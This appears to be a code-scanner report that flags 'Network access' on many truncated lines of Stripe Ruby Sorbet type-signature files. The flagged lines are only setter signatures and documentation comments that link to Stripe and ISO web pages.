def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 115
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 120
} def metadata=(_metadata); end # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed t - Network accessline 121
def metadata=(_metadata); end # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay - Network accessline 122
# Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam - Network accessline 123
# # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user - Network accessline 124
# Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio - Network accessline 125
# # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi - Network accessline 126
# Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd - Network accessline 127
# # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is - Network accessline 128
# Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede - Network accessline 141
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 142
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(SubscriptionItemCreateParams::PriceData)) } - Network accessline 143
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 148
} def price_data=(_price_data); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, - Network accessline 149
def price_data=(_price_data); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or sta - Network accessline 150
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 153
sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) } def proration_behavior=(_proration_behavior); end # If set, the proration will be calculated as though the subscription was updated at the given time. - Network accessline 154
def proration_behavior=(_proration_behavior); end # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming in - Network accessline 155
# If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic - Network accessline 168
sig { params(_subscription: String).returns(String) } def subscription=(_subscription); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stri - Network accessline 169
def subscription=(_subscription); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-defaul - Network accessline 170
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_item_delete_params.rbi
- Network accessline 10
sig { params(_clear_usage: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def clear_usage=(_clear_usage); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billin - Network accessline 11
def clear_usage=(_clear_usage); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or s - Network accessline 12
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 15
sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) } def proration_behavior=(_proration_behavior); end # If set, the proration will be calculated as though the subscription was updated at the given time. - Network accessline 16
def proration_behavior=(_proration_behavior); end # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming in - Network accessline 17
# If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_item_update_params.rbi
- Network accessline 6
class SubscriptionItemUpdateParams < ::Stripe::RequestParams class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes - Network accessline 7
class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.strip - Network accessline 8
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 50
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 51
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 52
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 55
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 56
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 57
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 67
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T - Network accessline 68
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti - Network accessline 69
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 113
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 114
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 115
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 125
sig { params(_off_session: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def off_session=(_off_session); end # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot - Network accessline 126
def off_session=(_off_session); end # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed t - Network accessline 127
# Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam - Network accessline 128
# # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user - Network accessline 129
# Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio - Network accessline 130
# # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi - Network accessline 131
# Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd - Network accessline 132
# # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is - Network accessline 133
# Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede - Network accessline 146
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 147
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(SubscriptionItemUpdateParams::PriceData)) } - Network accessline 148
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 153
} def price_data=(_price_data); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, - Network accessline 154
def price_data=(_price_data); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or sta - Network accessline 155
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 158
sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) } def proration_behavior=(_proration_behavior); end # If set, the proration will be calculated as though the subscription was updated at the given time. - Network accessline 159
def proration_behavior=(_proration_behavior); end # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming in - Network accessline 160
# If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic - Network accessline 168
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https - Network accessline 169
def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_ra - Network accessline 170
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_list_params.rbi
- Network accessline 165
sig { params(_starting_after: T.nilable(String)).returns(T.nilable(String)) } def starting_after=(_starting_after); end # The status of the subscriptions to retrieve. Passing in a value of `canceled` will return all canceled subscri - Network accessline 166
def starting_after=(_starting_after); end # The status of the subscriptions to retrieve. Passing in a value of `canceled` will return all canceled subscriptions, including those belonging to deleted customers. Pass `ended` to find subsc - Network accessline 167
# The status of the subscriptions to retrieve. Passing in a value of `canceled` will return all canceled subscriptions, including those belonging to deleted customers. Pass `ended` to find subscriptions that are canceled and subscriptions t
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_resume_params.rbi
- Network accessline 5
module Stripe class SubscriptionResumeParams < ::Stripe::RequestParams # The billing cycle anchor that applies when the subscription is resumed. Either `now` or `unchanged`. The default is `now`. For more information, see the billing - Network accessline 6
class SubscriptionResumeParams < ::Stripe::RequestParams # The billing cycle anchor that applies when the subscription is resumed. Either `now` or `unchanged`. The default is `now`. For more information, see the billing cycle [documenta - Network accessline 7
# The billing cycle anchor that applies when the subscription is resumed. Either `now` or `unchanged`. The default is `now`. For more information, see the billing cycle [documentation](https://docs.stripe.com/billing/subscriptions/billing-c - Network accessline 15
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the - Network accessline 16
def expand=(_expand); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor` being `unchanged`. When the `billing_cycle_anchor` is set to `now` (de - Network accessline 17
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor` being `unchanged`. When the `billing_cycle_anchor` is set to `now` (default value), no prorations ar - Network accessline 20
sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) } def proration_behavior=(_proration_behavior); end # If set, prorations will be calculated as though the subscription was resumed at the given time. Th - Network accessline 21
def proration_behavior=(_proration_behavior); end # If set, prorations will be calculated as though the subscription was resumed at the given time. This can be used to apply exactly the same prorations that were previewed with the [crea - Network accessline 22
# If set, prorations will be calculated as though the subscription was resumed at the given time. This can be used to apply exactly the same prorations that were previewed with the [create preview](https://stripe.com/docs/api/invoices/creat
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_create_params.rbi
- Network accessline 140
def initialize(amount_percent: nil, destination: nil); end end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferre - Network accessline 141
end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be - Network accessline 142
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 152
} def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a tr - Network accessline 153
def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For - Network accessline 154
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 290
end class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 291
class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { retu - Network accessline 292
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 295
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 296
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 297
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 300
sig { params(_product: String).returns(String) } def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behav - Network accessline 301
def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti - Network accessline 302
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 335
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form - Network accessline 336
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 337
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 354
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required - Network accessline 355
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { - Network accessline 356
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 514
class Item < ::Stripe::RequestParams class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to m - Network accessline 515
class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.s - Network accessline 516
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 558
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre - Network accessline 559
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 560
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 563
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 564
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 565
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 575
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the - Network accessline 576
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s - Network accessline 577
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 620
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's - Network accessline 621
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` - Network accessline 622
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k - Network accessline 637
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 638
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(SubscriptionScheduleCreateParams::Phase::Item::PriceData)) } - Network accessline 639
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 649
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates - Network accessline 650
def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_ta - Network accessline 651
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 691
} def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the appl - Network accessline 692
def add_invoice_items=(_add_invoice_items); end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application - Network accessline 693
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 703
} def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a tr - Network accessline 704
def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For - Network accessline 705
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 722
sig { params(_collection_method: T.nilable(String)).returns(T.nilable(String)) } def collection_method=(_collection_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 723
def collection_method=(_collection_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { return - Network accessline 724
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 732
sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) } def default_payment_method=(_default_payment_method); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates w - Network accessline 733
def default_payment_method=(_default_payment_method); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/c - Network accessline 734
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w - Network accessline 779
} def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is ent - Network accessline 780
def items=(_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, ad - Network accessline 781
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex - Network accessline 791
sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) } def on_behalf_of=(_on_behalf_of); end # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscripti - Network accessline 792
def on_behalf_of=(_on_behalf_of); end # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billi - Network accessline 793
# Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re - Network accessline 879
sig { params(_from_subscription: T.nilable(String)).returns(T.nilable(String)) } def from_subscription=(_from_subscription); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This - Network accessline 880
def from_subscription=(_from_subscription); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured fo - Network accessline 881
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_update_params.rbi
- Network accessline 113
def initialize(amount_percent: nil, destination: nil); end end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferre - Network accessline 114
end # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be - Network accessline 115
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 125
} def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a tr - Network accessline 126
def automatic_tax=(_automatic_tax); end # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For - Network accessline 127
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 263
end class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 264
class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { retu - Network accessline 265
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 268
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 269
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 270
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 273
sig { params(_product: String).returns(String) } def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behav - Network accessline 274
def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti - Network accessline 275
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 308
} def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form - Network accessline 309
def discounts=(_discounts); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 310
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 327
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required - Network accessline 328
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { - Network accessline 329
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 487
class Item < ::Stripe::RequestParams class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to m - Network accessline 488
class BillingThresholds < ::Stripe::RequestParams # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.s - Network accessline 489
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 531
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre - Network accessline 532
